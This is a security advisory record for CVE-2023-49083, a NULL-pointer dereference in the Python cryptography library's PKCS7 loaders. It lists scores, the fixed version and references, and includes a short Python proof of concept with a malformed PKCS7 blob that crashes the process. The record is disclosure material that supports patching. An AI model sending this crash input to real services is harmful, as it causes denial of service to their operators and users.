{"id":"CVE-2023-49083","aliases":["GHSA-jfhm-5ghh-2f97","PYSEC-2023-254"],"url":"https://o3.security/vulnerability/CVE-2023-49083","summary":"cryptography vulnerable to NULL-dereference when loading PKCS7 certificates","details":"### Summary\n\nCalling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.\n\n### PoC\nHere is a Python code that triggers the issue:\n```python\nfrom cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates\n\npem_p7 = b\"\"\"\n-----BEGIN PKCS7-----\nMAsGCSqGSIb3DQEHAg==\n-----END PKCS7-----\n\"\"\"\n\nder_p7 = b\"\\x30\\x0B\\x06\\x09\\x2A\\x86\\x48\\x86\\xF7\\x0D\\x01\\x07\\x02\"\n\nload_pem_pkcs7_certificates(pem_p7)\nload_der_pkcs7_certificates(der_p7)\n```\n\n### Impact\nExploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.","published":"2023-11-29T18:50:24.263Z","modified":"2026-08-12T03:51:26.437073667Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00985,"percentile":0.60685,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"cryptography","fixedVersion":"41.0.6"}],"fix":{"url":"https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a","label":"pyca/cryptography@f09c261"},"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV/"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49083.json"},{"type":"ADVISORY","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49083"},{"type":"FIX","url":"https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a"},{"type":"FIX","url":"https://github.com/pyca/cryptography/pull/9926"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/11/29/2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:26.437073667Z"}}